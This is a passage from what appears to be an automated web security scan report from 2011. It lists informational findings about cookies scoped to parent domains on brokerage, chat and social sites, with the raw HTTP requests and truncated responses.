_tmpi=MjAxMTA5MDg_MzpFMTozMHwxNDotNTY3NTYzMzQyMTY5OTg1NzUxNzozMA;Path=/;Domain=.tubemogul.com;Expires=Fri, 07-Sep-12 19:54:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /upi/pid/5w3jqr4k?puid=E1&tmid=-5675633421699857517 HTTP/1.1
Host: rtd.tubemogul.com
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tmid=-5675633421699857517; _tmpd=MjAxMTA5MDg_ODpzZWdtZW50PTAwMCZ6aXA9JmFnZT0mZ2VuZGVyPTozMA; _tmpi=MjAxMTA5MDg_MTQ6LTU2NzU2MzM0MjE2OTk4NTc1MTc6MzA

Response

HTTP/1.1 200 OK
Expires: Thu, 8 Sep 2011 15:54:09 EDT
Set-Cookie: _tmpi=MjAxMTA5MDg_MzpFMTozMHwxNDotNTY3NTYzMzQyMTY5OTg1NzUxNzozMA;Path=/;Domain=.tubemogul.com;Expires=Fri, 07-Sep-12 19:54:09 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: cp="NOI DSP COR LAW PSAo PSDo IVAo IVDo OUR BUS UNI DEM"
Content-Type: image/png
Content-Length: 2791
Connection: close
Server: Jetty(7.0.1.v20091125)

.PNG
.
...IHDR..............wS.... pHYs..........+....
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

9.47. http://server.iad.liveperson.net/hc/82583755/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/82583755/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

LivePersonID=-546022977410-1315512341:-1:-1:-1:-1; expires=Fri, 07-Sep-2012 20:05:44 GMT; path=/hc/82583755; domain=.liveperson.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /hc/82583755/?&site=82583755&cmd=mTagInPage&lpCallId=81533422560-705066007077&protV=20&lpjson=1&page=http%3A//www.pfgbest.com/toolkit/&id=3455414662&javaSupport=true&visitorStatus=INSITE_STATUS&activePlugin=none&cobrowse=true HTTP/1.1
Host: server.iad.liveperson.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pfgbest.com/toolkit/
Cookie: HumanClickKEY=8343694331452677533; LivePersonID=-546022977410-1315512341:-1:-1:-1:-1; HumanClickSiteContainerID_82583755=STANDALONE; LivePersonID=LP i=546022977410,d=1312768968; HumanClickACTIVE=1315512340571

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:05:44 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickSiteContainerID_82583755=STANDALONE; path=/hc/82583755
Set-Cookie: LivePersonID=-546022977410-1315512341:-1:-1:-1:-1; expires=Fri, 07-Sep-2012 20:05:44 GMT; path=/hc/82583755; domain=.liveperson.net
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Thu, 08 Sep 2011 20:05:44 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 187

lpConnLib.Process({"ResultSet": {"lpCallId":"81533422560-705066007077","lpCallConfirm":"","lpJS_Execute":[{"code_id": "INPAGE-DELAY-30", "js_code": "lpMTag.lpInPageRequestDelay=30;"}]}});

9.48. http://shared.websol.barchart.com/css/bc_styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shared.websol.barchart.com
Path:	/css/bc_styles.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

WEBSOL_SERVER=balancer.websol02; path=/; domain=.websol.barchart.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /css/bc_styles.css HTTP/1.1
Host: shared.websol.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/quotes.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:55 GMT
Server: Apache/2.2.9 (Fedora)
Last-Modified: Tue, 23 Aug 2011 19:10:14 GMT
ETag: "1915d8-e93-4ab30f2047180"
Accept-Ranges: bytes
Content-Length: 3731
Content-Type: text/css
Via: 1.1 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Set-Cookie: WEBSOL_SERVER=balancer.websol02; path=/; domain=.websol.barchart.com
Content-Language: en

@import url('options.css');
@import url('customquotes.css');
@import url('quickquotes.css');
@import url('searchbox.css');
@import url('lookup.css');
@import url('support.css');

.bcDisclaime
...[SNIP]...

9.49. http://www.facebook.com/dialog/feed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dialog/feed

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

locale=en_US; expires=Thu, 15-Sep-2011 19:46:43 GMT; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fdialog%2Ffeed; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /dialog/feed HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.50. http://www.interactivebrokers.com/mkt/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/mkt/index.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

web=1059283; expires=Tue, 06-Mar-2012 19:24:40 GMT; path=/; domain=.interactivebrokers.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mkt/index.php?src=googlead&url=/futures&w=%22futures%20trading%22&kw=futures%20trading&c=US&gclid=CJS3rJiwjqsCFWUZQgod1yoIvg HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Thu, 08 Sep 2011 19:24:40 GMT
Server: Apache
Set-Cookie: web=1059283; expires=Tue, 06-Mar-2012 19:24:40 GMT; path=/; domain=.interactivebrokers.com
Location: http://www.interactivebrokers.com/futures
Content-Length: 0
Connection: close
Content-Type: text/html

9.51. https://www.interactivebrokers.com/sso/Login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.interactivebrokers.com
Path:	/sso/Login

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

URL_PARAM=forwardTo=1; Domain=.interactivebrokers.com; Path=/; Secure

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sso/Login?forwardTo=1 HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:49:03 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: XYZAB_AM.LOGIN=; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: XYZAB=; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: URL_PARAM=forwardTo=1; Domain=.interactivebrokers.com; Path=/; Secure
Set-Cookie: JSESSIONID=6CABFA1224B746F03649A64DE5E8609E.wwwsso3; Path=/sso; Secure
Content-Length: 13244
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"/>
<link hre
...[SNIP]...

9.52. http://www.optionsxpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=04B1BF674AA82952BE73E0BB9321CE27; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19223
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=04B1BF674AA82952BE73E0BB9321CE27; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.53. http://www.optionsxpress.com/404.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/404.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=5389B1BA4FEE5685909C00A038A8CFC8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /404.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=5389B1BA4FEE5685909C00A038A8CFC8; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.54. http://www.optionsxpress.com/about_us/awards_media.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/awards_media.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=320A610B4D68A51B3DD0EDA975F816D5; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/awards_media.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 23004
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=320A610B4D68A51B3DD0EDA975F816D5; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:36 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.55. http://www.optionsxpress.com/about_us/contact_us.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/contact_us.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D94486F745F6D69F0A802998A11A2DA7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/contact_us.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15835
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=D94486F745F6D69F0A802998A11A2DA7; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.56. http://www.optionsxpress.com/about_us/faq.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/faq.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=FDB057F449CCC1CA91E51FB7506FD090; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/faq.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 111500
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=FDB057F449CCC1CA91E51FB7506FD090; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:36 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.57. http://www.optionsxpress.com/about_us/pricing_commissions.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/about_us/pricing_commissions.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=3D1739C84DE61CD48C8F6B861E31DA2D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_us/pricing_commissions.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 29277
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=3D1739C84DE61CD48C8F6B861E31DA2D; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.58. http://www.optionsxpress.com/check_us_out/right_for_you.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/check_us_out/right_for_you.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=715ECFF14E81ECE5EAFEBAAFF695BBCC; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /check_us_out/right_for_you.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 27517
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=715ECFF14E81ECE5EAFEBAAFF695BBCC; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:40 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

9.59. http://www.optionsxpress.com/check_us_out/site_map.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/check_us_out/site_map.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D768A97844BACABDD1F614A652521D30; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /check_us_out/site_map.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 17804
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=D768A97844BACABDD1F614A652521D30; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:40 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.60. http://www.optionsxpress.com/corporate/about_us.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/corporate/about_us.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=327ED9384FEDA364E7B5AFB955A11898; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /corporate/about_us.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 16271
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=327ED9384FEDA364E7B5AFB955A11898; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:42 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.61. http://www.optionsxpress.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D651080C4FB698B6CDD7B5BFFD951C11; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /favicon.ico HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; CMPID=gsus23305007; s_cc=true; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527926087%27%5D%5D; s_campaign=gsus23305007; s_sq=%5B%5BB%5D%5D; TLTHID=380F36E2451D516527B89FB8B2599BF0; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]

Response

HTTP/1.1 200 OK
Content-Length: 1150
Content-Type: image/x-icon
Last-Modified: Fri, 20 Mar 2009 15:16:36 GMT
Accept-Ranges: bytes
ETag: "062bdc6ea9c91:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=D651080C4FB698B6CDD7B5BFFD951C11; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:53 GMT

............ .h.......(....... ..... ...................................................................................................................................................................
...[SNIP]...

9.62. http://www.optionsxpress.com/free_education/education_center.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/free_education/education_center.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=1CA0C870418D7340D8EA988105E71B36; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /free_education/education_center.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19202
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=1CA0C870418D7340D8EA988105E71B36; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:38 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.63. http://www.optionsxpress.com/free_education/live_events/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/free_education/live_events/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=FAD2A00E48BCF7D008C49D8DF9519925; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /free_education/live_events/ HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 14135
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=FAD2A00E48BCF7D008C49D8DF9519925; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:39 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.64. http://www.optionsxpress.com/free_education/virtual_trade.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/free_education/virtual_trade.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=2D4996A44048187A4C198BA79D16B45B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /free_education/virtual_trade.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Length: 272
Content-Type: text/html
Location: http://www.optionsxpress.com/tools_research/virtual_trade.aspx
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=2D4996A44048187A4C198BA79D16B45B; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:38 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1><p>The document has moved <a href="http://www.optionsxp
...[SNIP]...

9.65. http://www.optionsxpress.com/images/promo_static/ox.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_static/ox.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=31B1D3A64DF4DC0943400890177ABC2A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promo_static/ox.gif HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; mbox=check#true#1315527980|session#1315527919598-875378#1315529780

Response

HTTP/1.1 200 OK
Content-Length: 3615
Content-Type: image/gif
Last-Modified: Tue, 06 Sep 2011 15:02:30 GMT
Accept-Ranges: bytes
ETag: "c88eaffa56ccc1:1c1f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=31B1D3A64DF4DC0943400890177ABC2A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT

GIF89a..-..@....q.k.........ZWX....r.M.E#. .........e.^...Y.R.....................@..}.w............... |...............0..P.....`..1-....LIJ?;<...............p........hef........................vstA
...[SNIP]...

9.66. http://www.optionsxpress.com/images/promo_unique/divider.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/divider.jpg

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=FB0DC0464C7379B04E0F409D15B5A47F; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promo_unique/divider.jpg HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
